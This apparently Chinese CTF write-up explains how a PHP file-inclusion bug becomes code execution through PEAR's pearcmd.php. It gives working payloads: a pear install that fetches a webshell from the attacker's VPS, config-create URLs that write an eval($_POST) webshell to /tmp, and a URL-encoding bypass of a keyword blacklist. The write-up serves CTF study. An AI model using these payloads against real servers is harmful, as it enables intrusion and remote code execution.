CTF中的pearcmd.php文件包含

·  阅读 140
CTF中的pearcmd.php文件包含

我报名参加金石计划1期挑战——瓜分10万奖池,这是我的第7篇文章,点击查看活动详情

引文

其实这个去年就做虎符杯的题目时了解过,也是一个比较有趣的点,今年发现好多比赛都出过类似或者大差不差考这个知识点的题目,于是简单总结一下。

前置知识

PEAR

pear全称PHP Extension and Application Repository,php扩展和应用仓库,在docker中默认安装,路径为/user/local/lib/php.

register_argc_argv

php.ini里面的一个选项,默认为OFF,我们需要将其设置为ON。

1、cli模式(命令行)下

可以通过$_SERVER[‘argv’]`获得命令行参数

2、web网页模式下

传参时用+连接的值的个数就是argc,各个参数被存到argv里,

可以举个例子测试一下:

<?php
$xino=$_GET['xino'];
var_dump($_SERVER['argc']);
var_dump($_SERVER['argv']);
?>
复制代码

1.PNG

可以看到其中是用+号来进行分隔的。

PEARCMD.PHP

先看看pear的存放地点为/usr/bin/pear,我们看一下它的源码

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/bin/php"
  fi
fi


# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/share/pear" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/share/pear"
    INCARG="-d include_path=/usr/share/pear"
  fi
fi


exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
复制代码

是一个sh程序,并在最后一行调用了pearcmd.php ,跟进一下pearcmd.php会发现

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}
复制代码

判断argv是否为空,再尝试argv是否为空,再尝试`_SERVER['argv']`,后者我们上文已经了解了是可以控制的,也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。,具体利用思路也就清晰了,我们可以通过包含pearcmd.php然后拼接执行一些操作。

利用

就简单举几个比较常用的例子

出网

没了解过pear的可能不清楚,pear工具简单来说就是用来下载东西了,这不就有思路了,能不能直接往服务器里下载一个马。

命令如下:其中shell就是我们vps里写个恶意木马。

pear install -R /tmp http://xxxxxxx/shell.php
复制代码

不出网

pear工具里有一个命令叫:config-create,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

我们可以构造url:

index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/xino.php
复制代码

然后包含我们新建的这个文件就OK了。

例题

HXBCTF2021(EASYWILL)

willphp框架代码审计:

<?php
namespace home\controller;
class IndexController{
    public function index(){
        highlight_file(__FILE__);
        assign($_GET['name'],$_GET['value']);
        return view();
    }
}
复制代码

进去只有这些,需要我们自行下载源码,然后修改源码的这一部分放本地去做就行。

我们按照题目跟进assign

public static function assign($name, $value = null) {
		if ($name != '') self::$vars[$name] = $value;
	} 
复制代码

返回View.php

public static function fetch($file = '', $vars = []) {
		if (!empty($vars)) self::$vars = array_merge(self::$vars, $vars);	//数组合并
		$viewfile = self::getViewFile($file);
		if (file_exists($viewfile)) {
			array_walk_recursive(self::$vars, 'self::parseVars'); //处理输出
			define('__RUNTIME__', round((microtime(true) - START_TIME) , 4));	
			Template::render($viewfile, self::$vars);
		} else {
			App::halt($file.' 模板文件不存在。');
		}
	}
复制代码

跟进render

Template.php

public static function renderTo($viewfile, $vars = []) {
		$m = strtolower(__MODULE__);
		$cfile = 'view-'.$m.'_'.basename($viewfile).'.php';
		if (basename($viewfile) == 'jump.html') {
			$cfile = 'view-jump.html.php';
		}
		$cfile = PATH_VIEWC.'/'.$cfile;
		if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($viewfile)) {
			$strs = self::compile(file_get_contents($viewfile), $vars);
			file_put_contents($cfile, $strs);
		}
		extract($vars);
		include $cfile;
	}
复制代码

此处存在变量覆盖,可进行文件包含,name=cfile & value=xxx(我们想要包含的文件) 即可形成文件包含漏洞。

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[a]);?>+/tmp/shell.php
复制代码

执行马就可以了。

2022年羊城杯(rce_me)

因为这个比赛没打,看其他团队说这题也能用pearcmd.php去做,于是我们复现一下

题目给了我们源码

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}
复制代码

直接读取flag,会发现权限不够,既然题目会包含文件,那么我们不妨尝试一下

?file=/usr/local/lib/php/%70%65arcmd.php&+download+vps/shell.php
复制代码

上传马之后我们可以进终端用date -f /flag去查询flag。

结语

还是太菜了,当初看羊城杯的这个题目时完全没有想到可以用这个方法来做,还是做题太少了啊。

收藏成功!
已添加到「」, 点击更改